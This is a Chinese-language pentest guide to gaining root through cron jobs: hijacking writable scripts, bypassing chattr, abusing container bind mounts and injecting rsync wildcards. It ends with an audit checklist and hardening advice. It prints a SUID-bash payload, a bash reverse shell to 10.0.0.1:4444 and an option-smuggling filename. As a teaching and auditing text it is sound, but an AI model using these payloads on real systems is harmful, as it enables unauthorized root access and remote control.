计划任务脚本劫持与通配符注入
cron 以配置中指定的身份(常见为 root)周期性执行脚本。只要脚本本体、父目录或脚本遍历的目录对低权限用户可写,攻击者就能注入自己的逻辑,等一个执行周期后获得高权限会话,属于典型的慢速 root。
发现手段
ls -la /etc/cron*
cat /etc/crontab
crontab -l
个人 crontab 不可读时的替代手段:
| 手段 | 说明 |
|---|---|
pspy64 -p -i 100 | 不依赖 root 权限,持续监控进程创建,直接看到 cron 拉起的命令 |
ps auxf | 在 cron 触发瞬间捕获子进程的完整命令行 |
| 日志/备份文件时间戳 | 通过产物更新周期侧证任务的存在与频率 |
场景 A:组可写脚本
root cron 每分钟执行的脚本权限为 -rwxrwxr-x root:<group>,且当前用户在该组内,直接追加 payload:
echo 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash' >> /opt/task.sh
也可以追加反弹 shell,或向 root 的 authorized_keys 追加公钥。写入后等待一个执行周期,用时间戳过滤旧文件验证效果:
find /tmp -newermt '-1 minute' -ls
场景 B:immutable 位保护
脚本带 +i(chattr 设置的 immutable 位)时无法直接覆写。如果系统上存在 SUID chattr,先移除保护再覆写:
chattr -i /opt/task.sh
场景 C:bind mount 共享目录
处于容器内时,先判断目录是否与宿主 bind mount:
cat /proc/1/mounts
cat /proc/1/mountinfo
把反弹脚本写进共享路径,等宿主侧 cron 执行。
场景 D:rsync 通配符注入
cron 在低权限用户可写目录中执行 rsync -av * remote:/backup 之类命令时,裸 * 展开的文件名会被 rsync 当作选项解析:
cd /writable/backup_dir
echo 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1' > rev.txt
touch -- "-e sh rev.txt"
文件名中的 -e sh 被 rsync 解析为远程 shell 选项,payload 文件随之被执行。这与 tar wildcard 注入提权 是同一类问题:用户可控文件名进入了解析器的参数位。
审计清单
- cron 脚本本体与父目录的属主、权限,是否存在组或其他用户可写。
- 脚本遍历的目录是否可写,是否使用裸
*或未加引号的变量展开。 - 脚本内部调用的外部命令是否使用绝对路径,
PATH是否固化。 - 容器内
/proc/1/mounts、mountinfo是否暴露与宿主的共享路径。
防御建议
- cron 脚本与父目录设置为
root:root且权限0750。 - 不对可写目录使用通配符遍历,显式列出文件或用
--终止选项解析。 - 对关键 cron 脚本设置
chattr +i。 - 监控 cron 进程行为与任务脚本完整性变化。